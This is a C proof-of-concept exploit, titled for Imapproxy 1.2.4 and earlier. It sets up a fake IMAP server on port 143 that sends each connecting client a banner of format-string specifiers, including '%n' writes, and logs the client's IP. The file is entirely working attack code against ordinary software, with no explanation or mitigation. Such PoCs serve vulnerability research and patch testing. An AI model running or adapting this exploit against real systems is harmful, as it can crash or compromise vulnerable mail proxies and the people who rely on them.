#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>

#define BANNER "AAAAAAAAAA%x%x%x%x%x%n%n%n\r\n\r\n"

int main ( int argc, char *argv[] )
{
struct sockaddr_in addr, cl_addr;
int sock, cl_sock, addr_size;
char *Iaddr;
socklen_t l;

printf("Imapproxy <= 1.2.4 PoC Exploit\n");

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

addr.sin_family = AF_INET;
addr.sin_port = htons(143);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

bind(sock, (struct sockaddr*)&addr, sizeof(addr));
listen(sock, 5);

addr_size = sizeof(addr);

while (1) 
{
	cl_sock = accept(sock, (struct sockaddr*)&cl_addr, &l);
	Iaddr = inet_ntoa(cl_addr.sin_addr);
	send(cl_sock, BANNER, strlen(BANNER), 0);
	printf("IP: %s\n", Iaddr);
}

return 0;

}